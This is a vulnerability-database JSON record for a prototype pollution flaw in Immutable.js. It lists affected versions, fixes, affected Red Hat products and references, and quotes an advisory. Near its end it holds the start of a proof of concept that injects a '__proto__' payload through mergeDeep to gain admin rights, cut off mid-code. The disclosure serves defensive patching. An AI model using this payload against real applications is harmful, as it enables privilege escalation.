{"id":"CVE-2026-29063","aliases":["CLSA-2026-1777509598","CLSA-2026-1782954035","CLSA-2026-1783040459","CLSA-2026-1784769615","CLSA-2026-1784943404","CLSA-2026-1785117466","CLSA-2026-1790808099","DEBIAN-CVE-2026-29063","EUVD-2026-10057","GHSA-wf6x-7x77-mvgw","ROOT-APP-NPM-CVE-2026-29063","UBUNTU-CVE-2026-29063"],"status":"published","title":"Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0099,"percentile":0.62814,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-915"],"published":"2026-03-04T21:28:06Z","modified":"2026-11-01T02:47:36Z","fixes":[{"ecosystem":"npm","package":"immutable","fixed_in":["5.1.5","4.3.8","3.8.3"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"immutable","fixed_in":["5.0.3-tuxcare.1","4.3.7-tuxcare.1","4.3.5-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-immutable","fixed_in":["4.3.8-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"immutable","fixed_in":["5.1.4-aikido.2","5.1.1-aikido.2","3.7.6-aikido.2","4.3.7-aikido.2","4.3.7-aikido.3","5.1.1-aikido.3","5.1.1-aikido.4","5.1.1-aikido.5","3.7.6-aikido.3","4.3.7-aikido.4","5.0.3-aikido.2","4.0.0-aikido.1","4.0.0-aikido.2","4.3.6-aikido.1","4.0.0-rc.12-aikido.1","3.7.6-aikido.4","4.3.8-aikido.1","5.1.5-aikido.1","4.3.8-aikido.2","3.8.3-aikido.1","3.8.3-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/immutable","fixed_in":["5.1.4-root.io.1","3.7.6-root.io.1","4.3.7-root.io.1","5.1.1-root.io.1","5.1.4-root.io.2","5.1.1-root.io.2","3.7.6-root.io.2","4.3.7-root.io.2","4.3.7-root.io.3","5.1.1-root.io.3","5.1.1-root.io.4","5.1.1-root.io.5","3.7.6-root.io.3","4.3.7-root.io.4","5.0.3-root.io.2","4.0.0-root.io.1","4.0.0-root.io.2","4.3.6-root.io.1","4.0.0-rc.12-root.io.1","3.7.6-root.io.4","4.3.8-root.io.1","5.1.5-root.io.1","4.3.8-root.io.2","3.8.3-root.io.1","3.8.3-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.1.5"}]}]},{"source":"ghsa","ecosystem":"npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-rc.1"},{"fixed":"4.3.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.8.3"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.3-tuxcare.0"},{"fixed":"5.0.3-tuxcare.1"}]}],"versions":["5.0.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.7-tuxcare.0"},{"fixed":"4.3.7-tuxcare.1"}]}],"versions":["4.3.7"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.3.5-tuxcare.0"},{"fixed":"4.3.5-tuxcare.1"}]}],"versions":["4.3.5"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0-tuxcare.0"},{"fixed":"4.1.0-tuxcare.2"}]}],"versions":["4.1.0","4.1.0-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.8.2-tuxcare.0"},{"fixed":"3.8.2-tuxcare.2"}]}],"versions":["3.8.2","3.8.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.8.1-tuxcare.0"},{"fixed":"3.8.1-tuxcare.2"}]}],"versions":["3.8.1","3.8.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.7.6-tuxcare.0"},{"fixed":"3.7.6-tuxcare.1"}]}],"versions":["3.7.6"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.0-3","4.3.4-1","4.3.8-1","4.3.8-2","4.3.9-1","5.1.9-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.4-1","4.3.8-1","4.3.8-2","4.3.9-1","5.1.9-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.8-1"}]}],"versions":["4.3.4-1"]},{"source":"osv","ecosystem":"npm","package":"immutable","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0-rc.1"},{"fixed":"4.3.8"}]}]},{"source":"osv","ecosystem":"npm","package":"immutable","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.1.5"}]}]},{"source":"osv","ecosystem":"npm","package":"immutable","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.8.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.4-aikido.2"},{"fixed":"5.1.1-aikido.2"},{"fixed":"3.7.6-aikido.2"},{"fixed":"4.3.7-aikido.2"},{"fixed":"4.3.7-aikido.3"},{"fixed":"5.1.1-aikido.3"},{"fixed":"5.1.1-aikido.4"},{"fixed":"5.1.1-aikido.5"},{"fixed":"3.7.6-aikido.3"},{"fixed":"4.3.7-aikido.4"},{"fixed":"5.0.3-aikido.2"},{"fixed":"4.0.0-aikido.1"},{"fixed":"4.0.0-aikido.2"},{"fixed":"4.3.6-aikido.1"},{"fixed":"4.0.0-rc.12-aikido.1"},{"fixed":"3.7.6-aikido.4"},{"fixed":"4.3.8-aikido.1"},{"fixed":"5.1.5-aikido.1"},{"fixed":"4.3.8-aikido.2"},{"fixed":"3.8.3-aikido.1"},{"fixed":"3.8.3-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.4-root.io.1"},{"fixed":"3.7.6-root.io.1"},{"fixed":"4.3.7-root.io.1"},{"fixed":"5.1.1-root.io.1"},{"fixed":"5.1.4-root.io.2"},{"fixed":"5.1.1-root.io.2"},{"fixed":"3.7.6-root.io.2"},{"fixed":"4.3.7-root.io.2"},{"fixed":"4.3.7-root.io.3"},{"fixed":"5.1.1-root.io.3"},{"fixed":"5.1.1-root.io.4"},{"fixed":"5.1.1-root.io.5"},{"fixed":"3.7.6-root.io.3"},{"fixed":"4.3.7-root.io.4"},{"fixed":"5.0.3-root.io.2"},{"fixed":"4.0.0-root.io.1"},{"fixed":"4.0.0-root.io.2"},{"fixed":"4.3.6-root.io.1"},{"fixed":"4.0.0-rc.12-root.io.1"},{"fixed":"3.7.6-root.io.4"},{"fixed":"4.3.8-root.io.1"},{"fixed":"5.1.5-root.io.1"},{"fixed":"4.3.8-root.io.2"},{"fixed":"3.8.3-root.io.1"},{"fixed":"3.8.3-root.io.2"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.2+dfsg-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.2+dfsg-3","4.0.0-1","4.0.0-2"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.1.0-3","4.3.4-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-immutable","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.4-1","4.3.8-2"]}],"products":[{"vendor":"immutable-js","product":"immutable"},{"vendor":"immutable-js","product":"immutable-js"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"migration toolkit for virtualization 2.1"},{"vendor":"red hat","product":"migration toolkit for virtualization 2.9"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.1"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.11"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.6"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.7"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.8"},{"vendor":"red hat","product":"multicluster engine for kubernetes 2.9"},{"vendor":"red hat","product":"network observability (netobserv) 1.11.0"},{"vendor":"red hat","product":"network observability (netobserv) 1.12.2"},{"vendor":"red hat","product":"node healthcheck operator"},{"vendor":"red hat","product":"openshift lightspeed"},{"vendor":"red hat","product":"openshift pipelines"},{"vendor":"red hat","product":"openshift service mesh 3"},{"vendor":"red hat","product":"red hat 3scale api management platform 2"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.14"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.15"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2.16"},{"vendor":"red hat","product":"red hat advanced cluster security 4.8"},{"vendor":"red hat","product":"red hat advanced cluster security 4.9"},{"vendor":"red hat","product":"red hat advanced cluster security for kubernetes 4.10"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat connectivity link 1"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat discovery 2"},{"vendor":"red hat","product":"red hat edge manager 1.0"},{"vendor":"red hat","product":"red hat edge manager 1.1"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat migration toolkit 1.8"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"},{"vendor":"red hat","product":"red hat openshift ai 3.3"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift container platform 4.12"},{"vendor":"red hat","product":"red hat openshift container platform 4.13"},{"vendor":"red hat","product":"red hat openshift container platform 4.14"},{"vendor":"red hat","product":"red hat openshift container platform 4.15"},{"vendor":"red hat","product":"red hat openshift container platform 4.16"},{"vendor":"red hat","product":"red hat openshift container platform 4.17"},{"vendor":"red hat","product":"red hat openshift container platform 4.18"},{"vendor":"red hat","product":"red hat openshift container platform 4.19"},{"vendor":"red hat","product":"red hat openshift container platform 4.20"},{"vendor":"red hat","product":"red hat openshift container platform 4.21"},{"vendor":"red hat","product":"red hat openshift data foundation 4.18"},{"vendor":"red hat","product":"red hat openshift data foundation 4.19"},{"vendor":"red hat","product":"red hat openshift data foundation 4.20"},{"vendor":"red hat","product":"red hat openshift gitops"},{"vendor":"red hat","product":"red hat openshift pipelines 1.2"},{"vendor":"red hat","product":"red hat openshift service mesh 2.6"},{"vendor":"red hat","product":"red hat openshift service mesh 3.0"},{"vendor":"red hat","product":"red hat openshift service mesh 3.1"},{"vendor":"red hat","product":"red hat openshift service mesh 3.2"},{"vendor":"red hat","product":"red hat openshift service mesh 3.3"},{"vendor":"red hat","product":"red hat openshift virtualization 4"},{"vendor":"red hat","product":"red hat quay 3.10"},{"vendor":"red hat","product":"red hat quay 3.12"},{"vendor":"red hat","product":"red hat quay 3.15"},{"vendor":"red hat","product":"red hat quay 3.16"},{"vendor":"red hat","product":"red hat quay 3.17"},{"vendor":"red hat","product":"red hat quay 3.9"},{"vendor":"red hat","product":"red hat satellite 6"},{"vendor":"red hat","product":"red hat satellite 6.18"},{"vendor":"red hat","product":"self-service automation portal 2"},{"vendor":"redhat","product":"3scale_api_management_platform"},{"vendor":"redhat","product":"advanced_cluster_management_for_kubernetes"},{"vendor":"redhat","product":"advanced_cluster_security"},{"vendor":"redhat","product":"ansible_automation_platform"},{"vendor":"redhat","product":"build_of_apicurio_registry"},{"vendor":"redhat","product":"connectivity_link"},{"vendor":"redhat","product":"developer_hub"},{"vendor":"redhat","product":"discovery"},{"vendor":"redhat","product":"edge_manager"},{"vendor":"redhat","product":"enterprise_linux"},{"vendor":"redhat","product":"logging_subsystem_for_red_hat_openshift"},{"vendor":"redhat","product":"migration_toolkit"},{"vendor":"redhat","product":"migration_toolkit_for_virtualization"},{"vendor":"redhat","product":"multicluster_engine_for_kubernetes"},{"vendor":"redhat","product":"network_observability_operator"},{"vendor":"redhat","product":"openshift_cluster_observability_operator"},{"vendor":"redhat","product":"openshift_container_platform"},{"vendor":"redhat","product":"openshift_data_foundation"},{"vendor":"redhat","product":"openshift_gitops"},{"vendor":"redhat","product":"openshift_lightspeed"},{"vendor":"redhat","product":"openshift_pipelines"},{"vendor":"redhat","product":"openshift_service_mesh"},{"vendor":"redhat","product":"openshift_virtualization"},{"vendor":"redhat","product":"quay"},{"vendor":"redhat","product":"satellite"},{"vendor":"redhat","product":"self-service_automation_portal"}],"references":[{"url":"https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5","tags":["x_refsource_MISC","Release Notes","web","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-29063","tags":["vdb-entry","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445291","tags":["issue-tracking","x_refsource_REDHAT","Issue Tracking","Vendor Advisory","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29063.json","tags":["x_sadp-csaf-vex","Vendor Advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19409","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19410","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6428","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24473","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36882","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13548","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13847","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:11070","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:11217","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13791","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13829","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7329","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36651","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40945","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40118","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41928","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24977","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19712","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34049","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40022","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:28893","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:28964","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36621","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20088","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34100","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34099","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17598","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21658","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:29857","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21657","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:12118","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20042","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:29864","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:23246","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20041","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17469","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:27063","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21703","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20034","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21931","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8483","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8484","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8490","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8491","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8493","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41941","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:41944","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:40984","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:11916","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6720","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6568","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19375","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22465","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6926","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:26232","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:26225","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13853","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13542","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9848","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:11858","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8218","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:11414","tags":["vendor-advisory","x_refsource_REDHAT","Vendor Advisory","advisory"]},{"url":"https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945","tags":["web"]},{"url":"https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb","tags":["web"]},{"url":"https://github.com/immutable-js/immutable-js/issues/2178","tags":["web"]},{"url":"https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29063","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wf6x-7x77-mvgw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29063.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-29063","tags":["advisory"]},{"url":"https://github.com/immutable-js/immutable-js","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-29063","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-29063","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-29063","title":"Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T18:25:22.438Z","modified":"2026-09-10T12:05:01.255Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-10057","description":"Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.","status":"published","published":"2026-03-06T18:25:22Z","modified":"2026-09-10T12:05:01Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:25.275283Z"}],"ghsa":[{"id":"GHSA-wf6x-7x77-mvgw","title":"Immutable is vulnerable to Prototype Pollution","description":"## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) =\u003e u.admin === true;\nconst isAdminByRole = (u) =\u003e u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); 